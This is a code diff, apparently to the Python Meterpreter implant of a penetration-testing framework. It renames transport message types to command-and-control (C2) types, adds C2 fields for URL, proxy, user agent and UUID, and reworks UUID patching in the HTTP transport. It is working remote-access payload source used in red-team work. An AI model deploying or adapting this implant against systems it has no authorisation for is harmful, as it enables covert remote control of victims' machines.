TLV_META_TYPE_UINT | 434 -TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435 -TLV_TYPE_TRANS_PROXY_HOST = TLV_META_TYPE_STRING | 436 -TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437 -TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438 -TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439 -TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440 -TLV_TYPE_TRANS_HEADERS = TLV_META_TYPE_STRING | 441 -TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 442 - TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460 TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461 TLV_TYPE_SESSION_GUID = TLV_META_TYPE_RAW | 462 @@ -170,6 +156,34 @@ TLV_TYPE_SYM_KEY = TLV_META_TYPE_RAW | 552 TLV_TYPE_ENC_SYM_KEY = TLV_META_TYPE_RAW | 553 +TLV_TYPE_SESSION_EXPIRY = TLV_META_TYPE_UINT | 700 # Session expiration time +TLV_TYPE_EXITFUNC = TLV_META_TYPE_UINT | 701 # identifier of the exit function to use +TLV_TYPE_DEBUG_LOG = TLV_META_TYPE_STRING | 702 # path to write debug log +TLV_TYPE_EXTENSION = TLV_META_TYPE_GROUP | 703 # Group containing extension info +TLV_TYPE_C2 = TLV_META_TYPE_GROUP | 704 # a C2/transport grouping +TLV_TYPE_C2_COMM_TIMEOUT = TLV_META_TYPE_UINT | 705 # the timeout for this C2 group +TLV_TYPE_C2_RETRY_TOTAL = TLV_META_TYPE_UINT | 706 # number of times to retry this C2 +TLV_TYPE_C2_RETRY_WAIT = TLV_META_TYPE_UINT | 707 # how long to wait between reconnect attempts +TLV_TYPE_C2_URL = TLV_META_TYPE_STRING | 708 # base URL of this C2 (scheme://host:port/uri) +TLV_TYPE_C2_URI = TLV_META_TYPE_STRING | 709 # URI to append to base URL (for HTTP(s)), if any +TLV_TYPE_C2_PROXY_URL = TLV_META_TYPE_STRING | 710 # Proxy URL +TLV_TYPE_C2_PROXY_USER = TLV_META_TYPE_STRING | 711 # Proxy user name +TLV_TYPE_C2_PROXY_PASS = TLV_META_TYPE_STRING | 712 # Proxy password +TLV_TYPE_C2_GET = TLV_META_TYPE_GROUP | 713 # A grouping of params associated with GET requests +TLV_TYPE_C2_POST = TLV_META_TYPE_GROUP | 714 # A grouping of params associated with POST requests +TLV_TYPE_C2_HEADERS = TLV_META_TYPE_STRING | 715 # Custom headers +TLV_TYPE_C2_UA = TLV_META_TYPE_STRING | 716 # User agent +TLV_TYPE_C2_CERT_HASH = TLV_META_TYPE_RAW | 717 # Expected SSL certificate hash +TLV_TYPE_C2_PREFIX = TLV_META_TYPE_RAW | 718 # Data to prepend to the outgoing payload +TLV_TYPE_C2_SUFFIX = TLV_META_TYPE_RAW | 719 # Data to append to the outgoing payload +TLV_TYPE_C2_ENC = TLV_META_TYPE_UINT | 720 # Request encoding flags (Base64|URL|Base64url) +TLV_TYPE_C2_PREFIX_SKIP = TLV_META_TYPE_UINT | 721 # Size of prefix to skip (in bytes) +TLV_TYPE_C2_SUFFIX_SKIP = TLV_META_TYPE_UINT | 722 # Size of suffix to skip (in bytes) +TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 723 # Name of the cookie to put the UUID in +TLV_TYPE_C2_UUID_GET = TLV_META_TYPE_STRING | 724 # Name of the GET parameter to put the UUID in +TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 725 # Name of the header to put the UUID in +TLV_TYPE_C2_UUID = TLV_META_TYPE_STRING | 726 # string representation of the UUID for C2s + TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500 TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501 TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502 @@ -214,7 +228,7 @@ (14, 'core_migrate'), (15, 'core_native_arch'), (16, 'core_negotiate_tlv_encryption'), - (17, 'core_patch_url'), + (17, 'core_patch_uuid'), (18, 'core_pivot_add'), (19, 'core_pivot_remove'), (20, 'core_pivot_session_died'), @@ -887,13 +901,13 @@ def should_retire(self): @staticmethod def from_request(request): - url = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value'] + url = packet_get_tlv(request, TLV_TYPE_C2_URL)['value'] if url.startswith('tcp'): transport = TcpTransport(url) elif url.startswith('http'): - proxy = packet_get_tlv(request, TLV_TYPE_TRANS_PROXY_HOST).get('value') - user_agent = packet_get_tlv(request, TLV_TYPE_TRANS_UA).get('value', HTTP_USER_AGENT) - http_headers = packet_get_tlv(request, TLV_TYPE_TRANS_HEADERS).get('value', None) + proxy = packet_get_tlv(request, TLV_TYPE_C2_PROXY_URL).get('value') + user_agent = packet_get_tlv(request, TLV_TYPE_C2_UA).get('value', HTTP_USER_AGENT) + http_headers = packet_get_tlv(request, TLV_TYPE_C2_HEADERS).get('value', None) transport = HttpTransport(url, proxy=proxy, user_agent=user_agent) if http_headers: headers = {} @@ -905,9 +919,9 @@ def from_request(request): http_referer = headers.get('REFERER') transport = HttpTransport(url, proxy=proxy, user_agent=user_agent, http_host=http_host, http_cookie=http_cookie, http_referer=http_referer) - transport.communication_timeout = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT).get('value', SESSION_COMMUNICATION_TIMEOUT) - transport.retry_total = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_TOTAL).get('value', SESSION_RETRY_TOTAL) - transport.retry_wait = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_WAIT).get('value', SESSION_RETRY_WAIT) + transport.communication_timeout = packet_get_tlv(request, TLV_TYPE_C2_COMM_TIMEOUT).get('value', SESSION_COMMUNICATION_TIMEOUT) + transport.retry_total = packet_get_tlv(request, TLV_TYPE_C2_RETRY_TOTAL).get('value', SESSION_RETRY_TOTAL) + transport.retry_wait = packet_get_tlv(request, TLV_TYPE_C2_RETRY_WAIT).get('value', SESSION_RETRY_WAIT) return transport def _activate(self): @@ -1008,13 +1022,13 @@ def send_packet(self, pkt): return True def tlv_pack_timeouts(self): - response = tlv_pack(TLV_TYPE_TRANS_COMM_TIMEOUT, self.communication_timeout) - response += tlv_pack(TLV_TYPE_TRANS_RETRY_TOTAL, self.retry_total) - response += tlv_pack(TLV_TYPE_TRANS_RETRY_WAIT, self.retry_wait) + response = tlv_pack(TLV_TYPE_C2_COMM_TIMEOUT, self.communication_timeout) + response += tlv_pack(TLV_TYPE_C2_RETRY_TOTAL, self.retry_total) + response += tlv_pack(TLV_TYPE_C2_RETRY_WAIT, self.retry_wait) return response def tlv_pack_transport_group(self): - trans_group = tlv_pack(TLV_TYPE_TRANS_URL, self.url) + trans_group = tlv_pack(TLV_TYPE_C2_URL, self.url) trans_group += self.tlv_pack_timeouts() return trans_group @@ -1097,19 +1111,19 @@ def _send_packet(self, packet): url_h = urllib.urlopen(request, **urlopen_kwargs) response = url_h.read() - def patch_uri_path(self, new_path): + def patch_uuid(self, new_uuid): match = re.match(r'https?://[^/]+(/.*$)', self.url) if match is None: return False - self.url = self.url[:match.span(1)[0]] + new_path + self.url = self.url[:match.span(1)[0]] + '/' + new_uuid return True def tlv_pack_transport_group(self): trans_group = super(HttpTransport, self).tlv_pack_transport_group() if self.user_agent: - trans_group += tlv_pack(TLV_TYPE_TRANS_UA, self.user_agent) + trans_group += tlv_pack(TLV_TYPE_C2_UA, self.user_agent) if self.proxy: - trans_group += tlv_pack(TLV_TYPE_TRANS_PROXY_HOST, self.proxy) + trans_group += tlv_pack(TLV_TYPE_C2_PROXY_URL, self.proxy) return trans_group class TcpTransport(Transport): @@ -1501,11 +1515,11 @@ def _core_native_arch(self, request, response): response += tlv_pack(TLV_TYPE_STRING, get_native_arch()) return ERROR_SUCCESS, response - def _core_patch_url(self, request, response): + def _core_patch_uuid(self, request, response): if not isinstance(self.transport, HttpTransport): return ERROR_FAILURE, response - new_uri_path = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value'] - if not self.transport.patch_uri_path(new_uri_path): + new_uuid = packet_get_tlv(request, TLV_TYPE_C2_UUID)['value'] + if not self.transport.patch_uuid(new_uuid): return ERROR_FAILURE, response return ERROR_SUCCESS, response @@ -1566,12 +1580,12 @@ def _core_transport_change(self, request, response): def _core_transport_list(self, request, response): if self.session_expiry_time > 0: - response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time()) - response += tlv_pack(TLV_TYPE_TRANS_GROUP, self.transport.tlv_pack_transport_group()) + response += tlv_pack(TLV_TYPE_SESSION_EXPIRY, self.session_expiry_end - time.time()) + response += tlv_pack(TLV_TYPE_C2, self.transport.tlv_pack_transport_group()) transport = self.transport_next() while transport != self.transport: - response += tlv_pack(TLV_TYPE_TRANS_GROUP, transport.tlv_pack_transport_group()) + response += tlv_pack(TLV_TYPE_C2, transport.tlv_pack_transport_group()) transport = self.transport_next(transport) return ERROR_SUCCESS, response @@ -1592,7 +1606,7 @@ def _core_transport_prev(self, request, response): return None def _core_transport_remove(self, request, response): - url = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value'] + url = packet_get_tlv(request, TLV_TYPE_C2_URL)['value'] if self.transport.url == url: return ERROR_FAILURE, response transport_found = False @@ -1606,27 +1620,27 @@ def _core_transport_remove(self, request, response): return ERROR_FAILURE, response def _core_transport_set_timeouts(self, request, response): - timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_SESSION_EXP).get('value') + timeout_value = packet_get_tlv(request, TLV_TYPE_SESSION_EXPIRY).get('value') if not timeout_value is None: self.session_expiry_time = timeout_value self.session_expiry_end = time.time() + self.session_expiry_time - timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT).get('value') + timeout_value = packet_get_tlv(request, TLV_TYPE_C2_COMM_TIMEOUT).get('value') if timeout_value: self.transport.communication_timeout = timeout_value - retry_value = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_TOTAL).get('value') + retry_value = packet_get_tlv(request, TLV_TYPE_C2_RETRY_TOTAL).get('value') if retry_value: self.transport.retry_total = retry_value - retry_value = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_WAIT).get('value') + retry_value = packet_get_tlv(request, TLV_TYPE_C2_RETRY_WAIT).get('value') if retry_value: self.transport.retry_wait = retry_value if self.session_expiry_time > 0: - response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time()) + response += tlv_pack(TLV_TYPE_SESSION_EXPIRY, self.session_expiry_end - time.time()) response += self.transport.tlv_pack_timeouts() return ERROR_SUCCESS, response def _core_transport_sleep(self, request, response): - seconds = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT)['value'] + seconds = packet_get_tlv(request, TLV_TYPE_C2_COMM_TIMEOUT)['value'] self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS)) if seconds: self._transport_sleep = seconds